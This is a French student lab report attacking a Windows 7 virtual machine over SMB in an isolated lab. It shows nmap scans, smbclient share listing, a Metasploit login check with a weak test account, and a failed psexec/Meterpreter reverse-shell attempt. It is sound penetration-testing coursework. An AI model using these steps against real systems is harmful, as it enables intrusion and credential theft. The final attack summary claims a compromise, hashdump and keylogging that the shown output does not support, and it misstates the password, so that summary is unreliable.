

RAPPORT TP 3.2 — Attaque d'un système Windows et extraction d'identifiants

Objectif du TP

Comprendre comment un attaquant peut compromettre une machine Windows via :

- L'exploitation de services mal configurés (SMB)
- L'utilisation d'identifiants faibles
- L'extraction d'informations sensible

Vérification de l'accessibilité de la cible

```
kali linux [En fonction] - Oracle VM VirtualBox
Fichier Machine Écran Entrée Périphériques Aide
1 2 3 4 5
aquilas@kali: ~
Session Actions Éditer Vue Aide
(aquilas@kali)-[~]
$ ping 192.168.56.20
PING 192.168.56.20 (192.168.56.20) 56(84) bytes of data:
64 bytes from 192.168.56.20: icmp_seq=1 ttl=128 time=0.493 ms
64 bytes from 192.168.56.20: icmp_seq=2 ttl=128 time=0.684 ms
64 bytes from 192.168.56.20: icmp_seq=3 ttl=128 time=1.30 ms
64 bytes from 192.168.56.20: icmp_seq=4 ttl=128 time=0.827 ms
64 bytes from 192.168.56.20: icmp_seq=5 ttl=128 time=0.857 ms
^C64 bytes from 192.168.56.20: icmp_seq=6 ttl=128 time=0.700 ms
64 bytes from 192.168.56.20: icmp_seq=7 ttl=128 time=0.566 ms
64 bytes from 192.168.56.20: icmp_seq=8 ttl=128 time=0.948 ms
^C
--- 192.168.56.20 ping statistics ---
8 packets transmitted, 8 received, 0% packet loss, time 7084ms
rtt min/avg/max/mdev = 0.493/0.797/1.302/0.237 ms
(aquilas@kali)-[~]
$
```

Identification des services Windows exposés

```
kali linux [En fonction] - Oracle VM VirtualBox
Fichier Machine Écran Entrée Périphériques Aide
1 2 3 4 5
aquilas@kali: ~
Session Actions Éditer Vue Aide
(aquilas@kali)-[~]
$ nmap 192.168.56.20
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-27 18:37 +0200
Nmap scan report for 192.168.56.20
Host is up (0.00054s latency).
Not shown: 989 closed tcp ports (reset)
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
554/tcp   open  rtsp
2869/tcp  open  icslap
10243/tcp open  unknown
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49156/tcp open  unknown
49157/tcp open  unknown
MAC Address: 08:00:27:F5:60:8D (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 6.02 seconds
```

Récolte d'informations système sans authentification

```
kali linux [En fonction] - Oracle VM VirtualBox
Fichier Machine Écran Entrée Périphériques Aide
1 2 3 4

aquilas@kali: ~
Session Actions Éditer Vue Aide

(aquilas@kali)-[~]
$ nmap -A -p 445 --script smb-os-discovery 192.168.56.20
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-27 18:39 +0200
Nmap scan report for 192.168.56.20
Host is up (0.00099s latency).

PORT      STATE SERVICE          VERSION
445/tcp    open  microsoft-ds     Windows 7 Ultimate 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
MAC Address: 08:00:27:F5:60:8D (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 2008|7|Vista|8.1
OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_vista cpe:/o:microsoft:windows_8.1
OS details: Microsoft Windows Vista SP2 or Windows 7 or Windows Server 2008 R2 or Windows 8.1
Network Distance: 1 hop
Service Info: Host: HP-WORSTATION; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery:
|_ OS: Windows 7 Ultimate 7601 Service Pack 1 (Windows 7 Ultimate 6.1)
|_ OS CPE: cpe:/o:microsoft:windows_7::sp1
|_ Computer name: HP-WORSTATION
|_ NetBIOS computer name: HP-WORSTATION\X00
|_ Workgroup: WORKGROUP\X00
|_ System time: 2026-04-27T17:39:19-07:00

TRACEROUTE
HOP RTT      ADDRESS
1   1.00 ms   192.168.56.20

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.50 seconds

(aquilas@kali)-[~]
$
```

Tentative d'accès à un partage

```
kali linux [En fonction] - Oracle VM VirtualBox
Fichier Machine Écran Entrée Périphériques Aide
1 2 3 4

aquilas@kali: ~
Session Actions Éditer Vue Aide

(aquilas@kali)-[~]
$ smbclient -L //192.168.56.20 -N
Anonymous login successful

Sharename      Type      Comment
-----
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.56.20 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

(aquilas@kali)-[~]
$
```

Windows 7 par mesure de sécurité refuse les accès anonymes par défaut. Mais l'on peut quand même observer les fichiers partagés si l'on se connecte avec les identifiants d'un utilisateur

```
(aquilas@kali)-[~]
$ smbclient -L //192.168.56.20 -U AQUILAS
Password for [WORKGROUP\AQUILAS]:

Sharename      Type      Comment
-----
ADMIN$         Disk      Remote Admin
C$             Disk      Default share
culture        Disk
IPC$           IPC       Remote IPC
Users          Disk

Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.56.20 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

```
kali linux [En fonction] - Oracle VM VirtualBox
Fichier Machine Écran Entrée Périphériques Aide
1 2 3 4
aquilas@kali: ~
Session Actions Éditer Vue Aide
(aquilas@kali)-[~]
$ smbclient //192.168.56.20/culture -U AQUILAS
Password for [WORKGROUP\AQUILAS]:
Try "help" to get a list of possible commands.
smb: \> ls
.                D          0   Tue Apr 28 02:26:54 2026
..               D          0   Tue Apr 28 02:26:54 2026
8362495 blocks of size 4096. 5929312 blocks available
smb: \>
```

Simulation d'un cas réel — Identifiants faibles

Création d'un compte vulnérable (sur Windows cible)

```
Administrator: Windows PowerShell
Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> net user testuser password123! /add
The command completed successfully.

PS C:\Windows\system32>
```

Test de connexion avec Metasploit

```
kali linux [En fonction] - Oracle VM VirtualBox
Fichier Machine Écran Entrée Périphériques Aide
1 2 3 4
aquilas@kali: ~
Session Actions Éditer Vue Aide
Metasploit tip: Organize your work by creating workspaces with workspace -a
<name>

[+] METASPLOIT by Rapid7
[+] EXPLOIT
[+] PAYLOAD
[+] LOOT
[+] KALI

msf > use auxiliary/scanner/smb/smb_login
[*] New in Metasploit 6.4 - The CreateSession option within this module can open an interactive session
msf auxiliary(scanner/smb/smb_login) > set RHOSTS 192.168.56.20
RHOSTS => 192.168.56.20
msf auxiliary(scanner/smb/smb_login) > set LHOST 192.168.56.30
LHOST => 192.168.56.30
msf auxiliary(scanner/smb/smb_login) > set SMBuser testuser
SMBuser => testuser
msf auxiliary(scanner/smb/smb_login) > set SMBpass password123!
SMBpass => password123!
msf auxiliary(scanner/smb/smb_login) > run
[*] 192.168.56.20:445 - 192.168.56.20:445 - Starting SMB login brute-force
[*] 192.168.56.20:445 - 192.168.56.20:445 - Success: 'testuser:password123!'
[*] 192.168.56.20:445 - No active DB - Credential data will not be saved.
[*] 192.168.56.20:445 - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.56.20:445 - Brute-force completed, 1 credential was successful.
[*] 192.168.56.20:445 - You can open an SMB session with these credentials and CreateSession set to true
[*] Auxiliary module execution completed
msf auxiliary(scanner/smb/smb_login) >
```

Ouverture d'une session distante sur Windows

```
msf auxiliary(scanner/smb/smb_login) > use exploit/windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf exploit(windows/smb/psexec) > set RHOSTS 192.168.56.20
RHOSTS => 192.168.56.20
msf exploit(windows/smb/psexec) > set SMBuser testuser
SMBuser => testuser
msf exploit(windows/smb/psexec) > set SMBpass password123!
SMBpass => password123!
msf exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 10.0.3.15:4444
[*] 192.168.56.20:445 - Connecting to the server...
[*] 192.168.56.20:445 - Authenticating to 192.168.56.20:445 as user 'testuser'...
[*] 192.168.56.20:445 - Exploit failed [no-access]: RubySMB::Error::UnexpectedStatusCode The server responded with an unexpected status code: STATUS_ACCESS_DENIED
[*] Exploit completed, but no session was created.
msf exploit(windows/smb/psexec) >
```

Synthèse de l'attaque

1. Découverte → nmap pour identifier SMB
2. Information → smb-os-discovery pour version Windows
3. Accès initial → smbclient partage sans auth
4. Authentification → testuser:Password123!
5. Compromission → psexec + Meterpreter
6. Post-exploitation → hashdump, screenshot, keylogging

Conclusion

Ce travail pratique m'a permis de comprendre :

1. **La compromission ne nécessite pas toujours une vulnérabilité complexe** — Un mot de passe faible ou un partage mal configuré suffisent.
2. **SMB est un vecteur d'attaque critique** — Souvent mal configuré en entreprise.
3. **Post-exploitation = danger réel** — Une fois à l'intérieur, l'attaquant peut extraire identifiants, capturer écrans, enregistrer frappes.